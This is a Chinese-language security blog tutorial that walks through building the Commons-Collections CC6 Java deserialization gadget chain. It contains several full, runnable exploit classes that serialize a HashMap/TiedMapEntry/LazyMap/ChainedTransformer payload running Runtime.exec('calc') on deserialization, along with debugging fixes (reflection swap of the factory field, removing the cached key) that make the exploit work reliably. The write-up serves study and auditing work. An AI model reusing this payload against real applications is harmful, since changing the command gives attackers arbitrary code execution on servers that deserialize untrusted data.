CC6链
前言
- 现在开始CC链代码审计的第二个链子CC6
先说一说 CC6 链同我们之前 CC1 链的一些不同之处吧,我们当时审计 CC1 链的时候要求是比较严格的。要求的环境为 jdk8u65 与 Commons-Collections 3.2.1
而我们的 CC6 链,可以不受 jdk 版本制约。
如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS
CC6 链的前半条链与 CC1 LazyMap版的链子是一样的,也就是到 LazyMap 链
环境部署
这里我使用的环境依旧是CC1的环境
- jdk 8u65
- Comoons-Collections 3.2.1
具体部署教程可以看我之前的CC1的文章
攻击链分析
一、寻找链尾
我们前面说了CC6链可以介绍为:CC1(LazyMap)+ URLDNS
在CC6中的链尾其实还是一样用到 InvokerTransformer 的transform方法。

一直到LazyMap#get之前都与CC1一直,这里就不重复介绍了。
二、寻找链子
- 我们从
LazyMap#get开始,find usages跟进。
这时候你可以发现有太多太多的方法直接调用了get方法,如果自己一个一个找显然不现实。
我们可以去ysoSerial官方看看它给出的CC6链子

发现是使用到了TiedMapEntry下的getValue来调用get方法。那我们便直接跟进到TiedMapEntry。

注意到在TiedMapEntry的getValue方法中调用 map.get。同时可以看到它的有参构造函数是public的,我们可以直接利用它给map与key初始化。
我们写一个简单的EXP测试一手确保目前的链子是可用的:
package com.test.cc2;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CC2 {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap,invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,runtime);
tiedMapEntry.getValue();
}
}
运行看效果:

- 成功弹出计算器,说明目前是可用的。
这里的逻辑还是很简单的,直接 new 一个
TiedMapEntry对象,并调用它的getValue()方法即可,它的getValue方法会去调用map.get(key)方法。
然后往上去找谁调用了 TiedMapEntry 中的 getValue() 方法。
- 由于
getValue方法也是非常的常见,所以直接find usages会发现非常的多,所以我们优先在当前类下看有没有方法调用了它。

注意到在hashCode方法中调用了它。而hashCode我们是再熟悉不过了,在前面的反序列化基础与URLDNS链的讲解中就提到了很多此。所以一般我们的链子找到这里就可以"半场开香槟"了
三、完整的链子
- 前面我们已经跟进到
hashCode方法了,那往前怎么跟进呢?
其实这里就和我们之前复现URLDNS链一样了,当时我们也是找到了URL类下面的hashCode。再往前就是利用HashMap类连接到hashCode,基本都是下面这一套流程。
HashMap.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()
这一部分都是前面URLDNS讲解过的,这里就不讲了。现在我们的链子就显而易见了。
HashMap.readObject() --> HashMap.put(key,value) -->自动调用 HashMap.hash()
--> TiedMapEntry#hashCode --> TiedMapEntry#getValue --> LazyMap#get --> InvokeTransformer#transform
尝试编写EXP:
package com.test.cc2;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class CC2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"bbb");
serialize(hashMap1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行后发现弹出了计算器,看似是利用成功了对吧?nonono,断点调试以后你就会发现真的坑爹啊!
四、调试解决问题
- 当断点设置在第三十行,会发现竟然直接弹计算器了

这没道理啊,那到底是什么原因呢?Drunkbaby师傅给出了解答。
因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用
toString()方法,所以在创建TiedMapEntry的时候,就自动调用了toSring方法然而这个方法里又调用了getValue()最终将链子走完,然后弹出计算器。

怎么解决呢?在 IDEA 的偏好设置当中如图修改即可。

其实这个选项还是很有用的,在断点调试的时候可以在下面显示数值,所以如果这个对链子没影响尽量开着。
但是我取消勾选之后仍然会弹出计算器我也不知道为什么,但是这毕竟是debug下才会触发,所以并不影响我们的程序正常运行。
- 当我们将序列化与反序列化注释掉,发现执行完put就会弹出计算器

这又是为什么呢?其实这里就跟当时URLDNS链遇到的情况一样。

因为put方法中就会调用hash,而hash中又调用了hashCode,然后便完整的走完了利用链,所以就弹出了计算器。
所以我们需要想办法让put的时候无法利用成功,然后让readObject的时候可以利用成功。其实我们只需要通过反射将一些关键字段比如transformers、factory等等在put之前先随便设置为一个值,put之后通过反射设置为我们原本构造的即可。
这里修改factory比较方便。修改后的EXP如下:
package com.test.cc2;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"bbb");
Class clazz = LazyMap.class;
Field fieldfactory = clazz.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(hashMap1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
这个时候运行看效果:

欸?为什么什么效果都没有,也没有弹出计算器,这是什么原因?我们给put这个地方下个断点,然后继续调试看看。

一直跟进跟进跟进,到get方法,可以发现代码的逻辑是首先检测map中是否已经有了key。如果没有就会执行factory.transform语句,然后通过put将key放入map中,由于我们给key的传参是"aaa",所以这一步执行完map中的key便会多一个"aaa"。
然后关键来了,当我们进行反序列化也就是readObject的时候,再次走到这里便会检测到已经有一个key是"aaa"所以不会执行transform语句,自然就不会弹出计算器。
解决方案:
我们只需要在put语句执行之后通过remove方法将"aaa"的key删除即可。

最终运行效果如下:

终于弹出计算器了。
五、总结
其实把CC1搞懂以后可以发现CC6并不难,重点是要学会调试,不会调试可能在那卡半天也不知道失败的原因。
依旧画个流程图总结一下:

依旧非常抽象,能看懂就行。